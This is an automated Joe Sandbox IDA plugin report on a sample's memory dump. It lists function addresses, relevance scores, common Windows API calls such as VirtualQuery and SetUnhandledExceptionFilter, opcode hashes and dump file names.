Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 804c4fb853597e9f20cad4692871764bd52520486c401e8890cef78ab6e74055
Instruction ID: 6e348d1fee1bfcf6f6f0ed28997b78e73a2f9c06a678a512da032b7383fe7a40
Opcode Fuzzy Hash: 804c4fb853597e9f20cad4692871764bd52520486c401e8890cef78ab6e74055
Instruction Fuzzy Hash: 62311475D052199BDF20DFA4D989BCCBBF8AF08704F1041EAE40CAB250EBB19B848F44

Function 00B9E6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00B9E5E8,0000001C,00B9E7DD,00000000,?,?,?,?,?,?,?,00B9E5E8,00000004,00BE1CEC,00B9E86D), ref: 00B9E6B4
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00B9E5E8,00000004,00BE1CEC,00B9E86D), ref: 00B9E6CF

Strings

D, xrefs: 00B9E6C3

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: abbc3c7f4727ba6c072c705727ff5fc3b8ccebad4757074f717fc8abd0ea5248
Instruction ID: 855eec604e6e7dc3c3d08840eb5640a546f33ddd9d82d9edeebed18af34af84f
Opcode Fuzzy Hash: abbc3c7f4727ba6c072c705727ff5fc3b8ccebad4757074f717fc8abd0ea5248
Instruction Fuzzy Hash: 9101F732600109ABDF14DE69DC49BDD7BEAEFC4324F0CC264ED29D7150EA38ED058680

Function 00BA8EBD Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00BA8FB5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00BA8FBF
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00BA8FCC

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 0f1f02c2f6b512772fa64c5dc029dda1332cf83ff1f04b822070743b4c61218e
Instruction ID: 6d744e67004a5d275401664556095f155eb578a511b8657e30c6966f5e3dbd24
Opcode Fuzzy Hash: 0f1f02c2f6b512772fa64c5dc029dda1332cf83ff1f04b822070743b4c61218e
Instruction Fuzzy Hash: 3E31C475901219ABCB21DF69DC89B9DBBF8EF08310F5042EAE41CA7250EB709F858F44

Function 00BAB348 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 00BAB4DB

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 79ff8f8178f7bba501bdc1c5c2b55d67cb9a3d204918ecffd592acaa46c38d79
Instruction ID: cde90d2c449bb9bc895a01b64eceb9dd0ad4f35f7e444996bd8acdedb8f9ebb1
Opcode Fuzzy Hash: 79ff8f8178f7bba501bdc1c5c2b55d67cb9a3d204918ecffd592acaa46c38d79
Instruction Fuzzy Hash: 2331E6719042496FCF249E78CC84EFA7BFDDB86314F1441E8E92997253EB309D458B50

Function 00BAD440 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction ID: fa5e0df39dc548969dc26baf7cdf7d24caede9b1b451aa77b9cec7d5c72b6669
Opcode Fuzzy Hash: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction Fuzzy Hash: 59022C71E042199FDF18CFA9C8806ADB7F1EF49314F2582AAD81AE7780D730AD41CB90

Function 00B9AF0F Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00B9AF35
GetNumberFormatW.KERNEL32(00000400,00000000,?,00BBE72C,?,?), ref: 00B9AF84

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 8d12ef30c5f683243b15fa8239db83c1836332b3af729aba156527c7c1afe231
Instruction ID: 527200c675805a4184fcd23fef6a3dec6c6dac0bc7cd3dda06bc88a3c7cbe3aa
Opcode Fuzzy Hash: 8d12ef30c5f683243b15fa8239db83c1836332b3af729aba156527c7c1afe231
Instruction Fuzzy Hash: 43019E7A110309ABD7109F65DC05FEA77FCEF08750F004022FA15A7260EBB099258BA5

Function 00B86C74 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00B86DDF,00000000,00000400), ref: 00B86C74
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00B86C95

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 439739b6452eef5b6caa64bcfd77e0e5852688c906a5d7c2f884d0608b392f04
Instruction ID: 19a8791e10145d586b057840e4884242aecaf283469e830de7f3aefcd1f21daa
Opcode Fuzzy Hash: 439739b6452eef5b6caa64bcfd77e0e5852688c906a5d7c2f884d0608b392f04
Instruction Fuzzy Hash: 71D05270248300BFEA002A218C06F2A2BD8EF40B42F18C004B280E90E0CAB09420EB28

Function 00BB19F4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00BB19EF,?,?,00000008,?,?,00BB168F,00000000), ref: 00BB1C21

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 40b74e994e12c694712649c249e17895cd8f9f1877b5335a951bdfc7205fe740
Instruction ID: 09ab6bec24aec98c73976256f63d0cc05f9d916b1772db37a219db986c76d18b
Opcode Fuzzy Hash: 40b74e994e12c694712649c249e17895cd8f9f1877b5335a951bdfc7205fe740
Instruction Fuzzy Hash: 88B13C31210609DFD725CF2CC49ABA57BE0FF45364F658A98E8A9CF2A1C375E991CB40

Function 00B9F654 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00B9F66A

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 61b2cd6b8ccc03df0ebf8b444140c5df21be9652ef89d83afc247fef085a7571
Instruction ID: 7cca823cb9787f215f0b0b4b9e985b265e9c31e2fca02f5e60c3d5aa985e3c98
Opcode Fuzzy Hash: 61b2cd6b8ccc03df0ebf8b444140c5df21be9652ef89d83afc247fef085a7571
Instruction Fuzzy Hash: 03515C71A0061ADFDF25CF99E9C16AAB7F4FB48364F24897AD411EB260D7749D00CB60

Function 00B8B146 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00B8B16B

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 8a69b4957336518902911695c7f1bd2aab824d60d1878cd832c640f20599454e
Instruction ID: 846b3bb459612f8f5b8bd23380ef520c46f4fc3244c49926e6d1b9301c56f17b
Opcode Fuzzy Hash: 8a69b4957336518902911695c7f1bd2aab824d60d1878cd832c640f20599454e
Instruction Fuzzy Hash: F8F030B4E006088FDB18EF28EC96AD573F1FB49715F504695D515A33A0CBB0A981CF60

Function 00B840FE Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

gj, xrefs: 00B841BC

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: a499efc3d322f5919e2cefa47e431ee68467a5e85945bfbf3dda5623babaa587
Instruction ID: f2319d8ac0f128f334c40f2dc43e0e4b0084818936486447f6f52e8ec66e1ba9
Opcode Fuzzy Hash: a499efc3d322f5919e2cefa47e431ee68467a5e85945bfbf3dda5623babaa587
Instruction Fuzzy Hash: 46C14672A083818FC354CF29D88065AFBE1BFC8708F59892DE998D7311D774E948CB96

Function 00B9F9D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F9F0,00B9F3A5), ref: 00B9F9DA

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3bcd5a6ad2321df53f0f4544ba53b4df126a1297bd51f6d9886b6a93756f000f
Instruction ID: 74bb0b3278b9cf2e59a76a55e5f0e027b7668c752aacdcc8669242214b7a6157
Opcode Fuzzy Hash: 3bcd5a6ad2321df53f0f4544ba53b4df126a1297bd51f6d9886b6a93756f000f
Instruction Fuzzy Hash:

Function 00BAC030 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00BAC030

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ddfc8af8fd14cd7aa294fe0df50b1a7f1b3d279dabfafa83271438cc88b9d857
Instruction ID: 474c3fffbf73956c11d05529d96dc32498d13be37dc1585a8c1e1cbb7782c195
Opcode Fuzzy Hash: ddfc8af8fd14cd7aa294fe0df50b1a7f1b3d279dabfafa83271438cc88b9d857
Instruction Fuzzy Hash: 48A02230202200CFC300CF38AF8C30C3BECAA00AC0308032AA008CB030EF30C2A0AB00

Function 00B962CA Relevance: .8, Instructions: 829COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f8113f2fe17e1fe5adf28291dd6dc1f64d00099287cbfcd1ac5a0770544dab2
Instruction ID: 459b24559c9e7aa0ea3e64a6550b4bf248f60b06c78e5aa0d1a23ac5237c17bd
Opcode Fuzzy Hash: 5f8113f2fe17e1fe5adf28291dd6dc1f64d00099287cbfcd1ac5a0770544dab2
Instruction Fuzzy Hash: 5562A2716047849FCF25CF28C4906B9BBE1AF95304F1989BEE8EA8B346D734E945CB11

Function 00B977EF Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb9617cfb9dcd5ed73515ceaa1cdae9c81077d575e7d9551ef57e855e6e5c47f
Instruction ID: 3f6b4307f0fbc007ec3e688571194d3b43f4898af203006550956d255040f153
Opcode Fuzzy Hash: bb9617cfb9dcd5ed73515ceaa1cdae9c81077d575e7d9551ef57e855e6e5c47f
Instruction Fuzzy Hash: 7D62D6716583458FCF15CF28C8805A9BBE1FF99304F1889BDE89A8B346DB30E945CB15

Function 00B8F461 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07bf4a65aa449dff48fd2b0c9f6b18a690921bffffe8b35fa307a18f9ecacfdb
Instruction ID: 2486b8a9e448b2fd639b72792197899831cd53ed893311bf99085be400d84dac
Opcode Fuzzy Hash: 07bf4a65aa449dff48fd2b0c9f6b18a690921bffffe8b35fa307a18f9ecacfdb
Instruction Fuzzy Hash: 96524A72A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B255D334EA19CB86

Function 00B97153 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da925728413ae14d6ce36a9d6481c341a222219436de235c78e0374eabebc38a
Instruction ID: beeaad1b26258a98c9c0d65d27253ecf3a4c4235deea5560f5f4bf33b356ffe0
Opcode Fuzzy Hash: da925728413ae14d6ce36a9d6481c341a222219436de235c78e0374eabebc38a
Instruction Fuzzy Hash: 8A12D1B06687068FCB18CF28C4D0A79B7E0FB94304F14897EE996C7781EB34A995CB45

Function 00B8C426 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd697888f0ff0c89e5f6758e52d0b7654967e22546e9824259c40b99dfc7c1b8
Instruction ID: 0237c387efbd0ae18a15f3c4d018ef6d0c16f073732ae3ea8edd1ed8974323bc
Opcode Fuzzy Hash: fd697888f0ff0c89e5f6758e52d0b7654967e22546e9824259c40b99dfc7c1b8
Instruction Fuzzy Hash: B1F1ACB16083018FC719EF28C48462ABFE1FFCA314F645AAEF48597265D730E945CB62

Function 00B96CDC Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 329ac89ec4df59ef8e92c8691bed39ff002a96cb61f3e2df6480c7e9beca46c7
Instruction ID: ae6bfc78335f4334f42596f86277621cff11697dff2c520c56929319c619d4e4
Opcode Fuzzy Hash: 329ac89ec4df59ef8e92c8691bed39ff002a96cb61f3e2df6480c7e9beca46c7
Instruction Fuzzy Hash: 17D181B1A483458FDF14DF28C88475BBBE1EF89308F1845BDE8899B242D774E905CB96

Function 00B8E9B7 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edb626a2c553d05657fd421bd2057d28a73b96dff38c9fd26bd9b556afcd0859
Instruction ID: c5438ad88cf23238b248244391d2b5330027c924b853aa99cdf5f5b10ad2bf10
